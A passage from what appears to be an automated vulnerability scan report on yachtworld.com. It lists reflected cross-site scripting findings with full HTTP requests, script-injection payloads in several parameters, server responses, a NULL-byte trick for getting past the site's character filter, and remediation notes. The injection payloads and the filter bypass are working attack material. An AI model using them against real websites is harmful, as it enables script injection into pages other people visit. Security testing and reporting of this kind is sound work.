RAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:37 GMT Server: Apache Cache-Control: private If-Modified-Since: Mon, 24 Jan 2011 21:44:50 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html l ...[SNIP]... <a href="/core/listing/displayPhoto.jsp?boat_id=2266476&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**&photo_revised_date=1285261228000&photo_name=Photo+1&photo=1&url=6a67e\\';5117ae8c10c&back=%2Fcore%2Flisting%2FboatMergedDetails.jsp%3Fboat_id%3D2266476%26listing_id%3D53549%26units%3DFeet%26currency%3DUSD%26access%3DPublic"> ...[SNIP]...
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d10be"><script>alert(1)</script>e189293f8d9 was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/boatMergedDetails.jsp?boat_id=2266476&ybw=&units=Feet¤cy=USD&access=Public&listing_id=53549&url=d10be"><script>alert(1)</script>e189293f8d9 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:34 GMT Server: Apache Cache-Control: private If-Modified-Since: Mon, 24 Jan 2011 21:44:50 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html l ...[SNIP]... <a href="/core/listing/displayPhoto.jsp?boat_id=2266476&boatname=32%27+32+Regulator+WITH+TRAILER+**REDUCED**&photo_revised_date=1285261228000&photo_name=Photo+1&photo=1&url=d10be"><script>alert(1)</script>e189293f8d9&back=%2Fcore%2Flisting%2FboatMergedDetails.jsp%3Fboat_id%3D2266476%26listing_id%3D53549%26units%3DFeet%26currency%3DUSD%26access%3DPublic"> ...[SNIP]...
The value of the N request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c63ab'%3balert(1)//4063b1cc08d was submitted in the N parameter. This input was echoed as c63ab';alert(1)//4063b1cc08d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/cache/dimensionValues.jsp?fromYear=2004&searchtype=homepage&Ntk=boatsEN&sm=3&toLength=32&cit=true¤cyid=100&luom=126&fromPrice=0&fromLength=24&Ne=15&man=regulator&slim=quick&N=0c63ab'%3balert(1)//4063b1cc08d&is=false&pricderange=Select+Price+Range HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:27:48 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "0c63ab';alert(1)//4063b1cc08d"<br> ...[SNIP]...
The value of the Ne request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1ae10'%3balert(1)//333a72b0be8 was submitted in the Ne parameter. This input was echoed as 1ae10';alert(1)//333a72b0be8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/cache/dimensionValues.jsp?fromYear=2004&searchtype=homepage&Ntk=boatsEN&sm=3&toLength=32&cit=true¤cyid=100&luom=126&fromPrice=0&fromLength=24&Ne=151ae10'%3balert(1)//333a72b0be8&man=regulator&slim=quick&N=0&is=false&pricderange=Select+Price+Range HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:27:14 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "151ae10';alert(1)//333a72b0be8"<br> ...[SNIP]...
The value of the &lineonly&&type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c0630"><script>alert(1)</script>e001cbfdd4e was submitted in the &lineonly&&type parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/cache/pl_search_results.jsp?slim=broker&hosturl=starlingmarine&units=Feet&&cit=true&url=starlingmarine&&hosturl=starlingmarine&&ywo=starlingmarine&&lineonly&&type=%28Power%29c0630"><script>alert(1)</script>e001cbfdd4e HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:07:51 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
The value of the &type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00fbf1f"><script>alert(1)</script>09410afb976 was submitted in the &type parameter. This input was echoed as fbf1f"><script>alert(1)</script>09410afb976 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /core/listing/cache/pl_search_results.jsp?slim=broker&hosturl=clarkslanding&units=Feet&&cit=true&url=clarkslanding&&hosturl=clarkslanding&&ywo=clarkslanding&&type=%28Power%29%00fbf1f"><script>alert(1)</script>09410afb976&so=0 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-219